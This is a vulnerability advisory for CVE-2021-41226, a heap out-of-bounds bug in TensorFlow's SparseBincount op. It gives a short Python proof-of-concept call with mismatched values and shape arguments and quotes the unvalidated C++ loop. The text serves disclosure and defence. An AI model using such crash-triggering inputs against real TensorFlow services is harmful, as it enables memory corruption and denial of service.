CVE-2021-41226: Heap OOB in `SparseBinCount`

(updated )

The implementation of SparseBinCount is vulnerable to a heap OOB:

import tensorflow as tf


tf.raw_ops.SparseBincount(
indices=[[0],[1],[2]]
values=[0,-10000000]
dense_shape=[1,1]
size=[1]
weights=[3,2,1]
binary_output=False)

This is because of missing validation between the elements of the values argument and the shape of the sparse output:

for (int64_t i = 0; i < indices_mat.dimension(0); ++i) {
const int64_t batch = indices_mat(i, 0);
const Tidx bin = values(i);
...
out(batch, bin) = ...;
}

References

Detect and mitigate CVE-2021-41226 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →